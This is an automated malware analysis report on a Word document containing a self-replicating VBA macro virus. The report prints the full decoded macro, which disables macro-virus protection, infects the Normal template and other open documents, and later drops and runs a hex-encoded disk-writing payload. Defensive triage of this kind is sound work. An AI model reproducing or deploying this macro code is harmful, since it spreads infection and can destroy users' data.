Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3376ed7f88243e3c…

MALICIOUS

Office (OLE)

890.5 KB Created: 2004-04-19 10:00:00 Authoring application: Microsoft Word 9.0 First seen: 2015-05-10
MD5: fae78e291f3367e12d8b96e26a0055d7 SHA-1: d596f80fd2e853dcab12aaf62b12b9e622669c7d SHA-256: 3376ed7f88243e3c1a0441c23c872332fae66a224baeb6390ad14215adbe419a
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Security Software Modification

The file contains a VBA macro that attempts to disable macro protection and replicate itself into the Normal template, indicating a persistence mechanism. The macro also contains a long encoded blob and a call to Environ(), suggesting it may download and execute a second-stage payload. The ClamAV detection of 'Doc.Dropper.Agent-5893809-0' further supports its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-5893809-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-5893809-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        s = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1): Mid(s, 1, 1) = " ": det = s: If Date > det + 30 Then fn = Environ("TEMP") & "\SCANDISK.COM": f = FreeFile: Open fn For Binary Access Write As f: For i = 1 To Len(CodeStr) Step 2: b = CByte("&H" & Mid(CodeStr, i, 2)): Put f, , b: Next i: Close f: Shell fn, 6: Date = det
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then f = FreeFile: fn = Environ("TEMP") & "\~$WM" & Year(Date) & Month(Date) & Day(Date) & ".tmp": Open fn For Output As #f: Print #f, Chr(39) & Date: Print #f, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(2, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1): Close #f: NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile fn: Kill fn
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3491 bytes
SHA-256: 426be2ceef4a18e40d98fa69d64199e41e30f16d09147e3a44c996a897c1971b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'15/04/2004
'3/06/02
Private Sub Document_Open()
'Anti-Smyser'
'A.T.P Ver 1.2
    On Error Resume Next
    Application.Options.VirusProtection = False
    Dim CodeStr As String: CodeStr = "B9040051BB0002B80102B90100BA8000CD13597308B400CD13E2E8EB2BB90002BE00028A04F6D08804464975F6B9040051BB0002B80103B90100BA8000CD13597306B400CD13E2E831C0CD21"
    Dim i As Integer, b As Byte, f As Integer, fn As String, s As String, det As Date
    If Mid(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) <> Mid(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) Or Val(Right(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) < Val(Right(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) Then NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then f = FreeFile: fn = Environ("TEMP") & "\~$WM" & Year(Date) & Month(Date) & Day(Date) & ".tmp": Open fn For Output As #f: Print #f, Chr(39) & Date: Print #f, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(2, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1): Close #f: NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile fn: Kill fn
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    Dim Doc As Document, PreSaved As Boolean, Cloned As Boolean
    For Each Doc In Application.Documents
        PreSaved = Doc.Saved And (Doc.Path <> "") And Not Doc.ReadOnly: Cloned = False
        If Mid(Doc.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) <> Mid(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 2, 9) Or Val(Right(Doc.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) < Val(Right(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1), 4)) Then Doc.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, Doc.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        If Doc.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then f = FreeFile: fn = Environ("TEMP") & "\~$WM" & Year(Date) & Month(Date) & Day(Date) & ".tmp": Open fn For Output As #f: Print #f, Chr(39) & Date: Print #f, ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(2, ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines - 1): Close #f: Doc.VBProject.VBComponents.Item(1).CodeModule.AddFromFile fn: Kill fn: Cloned = True
        If Cloned And PreSaved Then f = FreeFile: fn = Doc.Path & "\~$" & Doc.Name: Err.Clear: Open fn For Output As f: If Err.Number = 0 Then Close f: Kill fn: Doc.Save
    Next Doc
    s = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1): Mid(s, 1, 1) = " ": det = s: If Date > det + 30 Then fn = Environ("TEMP") & "\SCANDISK.COM": f = FreeFile: Open fn For Binary Access Write As f: For i = 1 To Len(CodeStr) Step 2: b = CByte("&H" & Mid(CodeStr, i, 2)): Put f, , b: Next i: Close f: Shell fn, 6: Date = det
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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